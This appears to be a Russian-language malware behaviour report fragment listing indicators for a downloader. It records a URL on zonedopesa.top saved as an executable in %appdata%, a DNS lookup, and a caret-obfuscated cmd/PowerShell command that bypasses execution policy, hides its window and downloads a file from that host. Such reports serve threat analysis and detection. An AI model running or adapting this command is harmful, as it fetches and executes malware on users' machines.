Техническая информация
- http://www.zonedopesa.top/read.php?f=1.gif как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /C "POW^ErshE^LL^.eXE ^-^eXecutiOnP^olI^cY byP^a^Ss ^-^noP^roF^Il^e -wI^ND^owSTy^lE h^ID^DE^n^ (^N^Ew^-O^BJecT S^Y^S^T^em.NET.weB^c^li^E^Nt).^doW^Nl^oad^F^IlE^('http://www.zonedope...
- DNS ASK zo###opesa.top
- '<SYSTEM32>\cmd.exe' /C "POW^ErshE^LL^.eXE ^-^eXecutiOnP^olI^cY byP^a^Ss ^-^noP^roF^Il^e -wI^ND^owSTy^lE h^ID^DE^n^ (^N^Ew^-O^BJecT S^Y^S^T^em.NET.weB^c^li^E^Nt).^doW^Nl^oad^F^IlE^('http://www.zonedope...' (со скрытым окном)